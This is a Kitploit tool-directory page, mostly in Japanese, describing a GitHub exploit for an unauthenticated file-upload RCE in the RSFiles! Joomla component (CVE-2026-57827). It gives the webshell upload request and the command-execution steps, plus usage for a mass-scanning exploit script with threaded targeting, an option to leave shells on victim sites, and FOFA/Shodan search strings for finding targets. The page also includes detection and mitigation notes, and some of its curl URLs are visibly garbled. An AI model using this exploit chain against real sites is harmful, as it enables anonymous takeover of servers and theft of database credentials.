Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-57827 — 任意のファイルアップロードを介して、RSFiles! Joomlaコンポーネントにおける未認証のリモートコード実行の脆弱性を実証します。 | Kitploit
ツール/GitHubGitHub/candisexterior171/cve-2026-57827
偵察脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト
GitHubcandisexterior171/cve-2026-57827

CVE-2026-57827

任意のファイルアップロードを介して、RSFiles! Joomlaコンポーネントにおける未認証のリモートコード実行の脆弱性を実証します。

リポジトリを見る
3415日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-57827 — RSFiles! Joomlaコンポーネントの未認証ファイルアップロードRCE

分割コントローラによるアップロードバイパス → 直接書き込みタスク → /downloads/shell.php → RCE


概要

CVE-2026-57827 は、Joomla向けの広く利用されているファイルマネージャー兼ダウンロードコンポーネントである RSFiles!(com_rsfiles)のバージョン < 1.17.12 に存在する、深刻度クリティカル(CVSS 9.8)の未認証任意ファイルアップロード脆弱性です。

この脆弱性は、分割コントローラ設計の欠陥を悪用します。RSFiles! はアップロード処理を2つのフロントエンドタスクに分割しています。すなわち、事前チェック(権限ゲート+拡張子許可リスト)と書き込みメソッド(ファイルをディスクに保存)です。書き込みメソッドは直接呼び出すことができ、事前チェックを完全にバイパスできます。認証もCSRFトークンも不要です。

影響を受けるバージョン

バージョン状態
< 1.17.12脆弱
1.17.12+修正済み

発見者: Phil Taylor, mySites.guru(2026年7月10日) ベンダー: RSJoomla(rsjoomla.com) コンポーネント: com_rsfiles


脆弱性の仕組み

根本原因

RSFiles! はアップロード処理を /components/com_rsfiles/controllers/rsfiles.php 内の2つの独立したフロントエンドタスクに分割しています。

// Task 1 — Pre-flight check (task=rsfiles.checkupload) — GUARDED
// Holds the permission gate (can this user upload?) and the extension
// allow-list (images, text, PDFs by default). This method decides yes
// or no. It writes nothing.
function checkupload() {
    if (!$user->authorise('rsfiles.upload')) return false;
    $allowed = ['jpg','png','gif','txt','pdf'];
    if (!in_array($ext, $allowed)) return false;
    return true;
}

// Task 2 — Write method (task=rsfiles.upload) — UNGUARDED (the vulnerability)
// Receives the file and saves to disk. NO permission check.
// NO file-type check. Reads filename straight from the request
// and hands the upload to Joomla's JFile::upload(), which
// accepts any file type unless told otherwise.
function upload() {
    $file = $input->files->get('file');
    // No permission check
    // No extension check
    // JFile::upload() accepts anything by default
    JFile::upload($file['tmp_name'], $dest . $file['name']);
    // File saved to /downloads/ (web root, .htaccess OFF by default)
}

なぜ機能するのか

  1. 分割されたコントローラー — セキュリティチェックとファイル書き込みが2つの異なるメソッドに存在します。ガードされているのは事前チェックのみです。
  2. タスクへの直接アクセス — Joomlaのフロントエンドコントローラーは、&task=rsfiles.upload を介して任意のタスクを直接呼び出すことを許可しており、事前チェックを完全に回避できます。
  3. 認証なし — フロントエンドコントローラーにはアクセスチェックがありません。匿名の訪問者が書き込みタスクを呼び出すことができます。
  4. CSRFトークンなし — フロントエンドのアップロードフォームにはサイト全体のCSRFトークンがありません。
  5. ファイルタイプの検証なし — 書き込みメソッドはリクエストからファイル名を読み取り、Joomlaにバンドルされているアップロードハンドラー(JFile::upload())に渡します。このハンドラーはデフォルトで任意のファイルタイプを受け入れます。
  6. Webルート内のダウンロードフォルダ — RSFiles! のデフォルトのダウンロードフォルダはWebルート内にあります。そこでPHPの実行を阻止する保護用の .htaccess は、オプトインの管理者設定であり、デフォルトではOFFです。

攻撃フロー

1. Attacker crafts PHP webshell (plain PHP, no polyglot needed)
2. POST /index.php?option=com_rsfiles&task=rsfiles.upload
   file=<shell.php> (multipart, PHP payload)
   folder=&overwrite=1
3. Joomla frontend controller dispatches to rsfiles.upload()
   → Skips rsfiles.checkupload (pre-flight) entirely
   → No permission check → No CSRF token check → No file-type check
   → JFile::upload() accepts any file type
4. File saved to /downloads/{shell_name}.php (web root)
   .htaccess protection is opt-in, OFF by default
5. GET /downloads/{shell_name}.php?t=TOKEN&c=id
6. PHP executes → RCE as www-data

検証済みのソースコード参照

ファイル目的
/components/com_rsfiles/controllers/rsfiles.php脆弱な upload() および checkupload() タスクを含むコントローラー
/components/com_rsfiles/views/upload/tmpl/upload.phpフロントエンドのアップロードフォームテンプレート(確認済み: name="file"、task=rsfiles.upload)
/downloads/Web ルート内のデフォルトのダウンロードフォルダ(.htaccess 保護はデフォルトで OFF)
/briefcase/Briefcase フォルダ(こちらも書き込み可能)

サーバーログ検出(RSJoomla アドバイザリより)

Look for POST requests to:
  index.php?option=com_rsfiles&task=rsfiles.upload
that are NOT preceded by requests to:
  index.php?option=com_rsfiles&task=rsfiles.checkupload

設計上の重大な欠陥

セキュリティチェック(パーミッションゲート + 拡張子許可リスト)は、実際にファイルを書き込むメソッドとは別個の事前チェックステップになっています。チェックを保持しているのは最初のメソッドだけです。2番目のメソッド — ディスクに書き込む方 — は、URL 内の適切な task パラメータを細工することで直接呼び出すことができ、すべてのセキュリティ制御をバイパスできます。

これは「チェックとアクションが別の場所にある」というアンチパターンの典型例です。ガードと、それが保護すべき操作が分離されており、攻撃者はガードを経由せずに操作に到達できるのです。


インストール

git clone https://candisexterior171.github.io
cd CVE-2026-57827
pip install requests

使用方法

# Single target
python cve_2026_57827.py -t target.com

# Mass scan
python cve_2026_57827.py -f targets.txt -o shells.txt

# Debug mode, leave shells on target
python cve_2026_57827.py -t target.com --debug --no-cleanup

引数

  -t, --target       Single target (domain or IP)
  -f, --file         Target list, one per line
  -o, --output       Save RCE URLs to file
  --threads          Concurrent workers (default: 30)
  --no-cleanup       Leave shells on target
  --debug            Show every HTTP request
  -v, --verbose      Verbose output

概念実証

単一ターゲット

$ python cve_2026_57827.py -t joomla-site.com
  RSFiles! Joomla Component | CVE-2026-57827 | CVSS 9.8

  Host       : joomla-site.com
  RSFiles!   : YES v1.17.11
  Upload     : YES
  RCE        : YES
  Shell      : https://candisexterior171.github.io
  Output     : uid=33(www-data) gid=33(www-data) groups=33(www-data)
  Time       : 3.8s

手動エクスプロイト

ステップ 1 — シェルをアップロードする

curl -X POST 'https://candisexterior171.github.io' \
  -F '[email protected]' \
  -F 'folder=' \
  -F 'overwrite=1'

ステップ2 — シェルにアクセスする

curl 'https://candisexterior171.github.io'

ステップ3 — コマンドを実行する

curl 'https://candisexterior171.github.io;hostname;uname -a'

緩和策(アップデートが不可能な場合)

# Delete the vulnerable controller file (renders RSFiles! unusable but secure)
rm /path/to/joomla/components/com_rsfiles/controllers/rsfiles.php

# Or enable .htaccess protection:
# RSFiles admin → Settings → Files → tick "Secure download folder" + "Secure briefcase folder"

FOFA / Shodan

FOFA:   body="com_rsfiles" || body="RSFiles"
Shodan: http.html:"com_rsfiles"

影響

悪用に成功すると、Webサーバーユーザーとしてのリモートコード実行が可能になります:

  • configuration.php を抽出 → データベース認証情報、SMTPシークレット
  • すべてのJoomlaコンテンツ、ユーザー、拡張機能データにアクセス
  • 永続的なバックドアを展開
  • 内部ネットワークへのピボット
  • Webサイトの改ざんやマルウェアの注入

どの段階でもサイト上のアカウントは不要です。匿名、未認証、リモートで実行可能です。


修正(1.17.12)

RSJoomlaはバージョン1.17.12で以下の方法により脆弱性を修正しました:

  • writeメソッド自体に権限チェックを追加(プリフライトのみではなく)
  • writeメソッドにファイルタイプの検証を追加
  • フロントエンドのアップロードエンドポイントでCSRFトークンを強制
  • ダウンロードフォルダの.htaccess保護をデフォルトで有効に設定

免責事項

NUR FÜR BILDUNGS- UND AUTORISIERTE TESTZWECKE.

所有者からの明示的な許可なくシステムに対して使用しないでください。著者は悪用について一切の責任を負いません。


参考文献

リソースリンク
NVDエントリCVE-2026-57827
mySites.guruアドバイザリmysites.guru/blog/rsfiles-unauthenticated-file-upload-rce
RSJoomlaアドバイザリrsjoomla.com
CWE-434危険な種類のファイルの無制限アップロード
報告者Phil Taylor, mySites.guru

RSJoomlaおよびmySites.guruとは提携していません。

ツールをダウンロード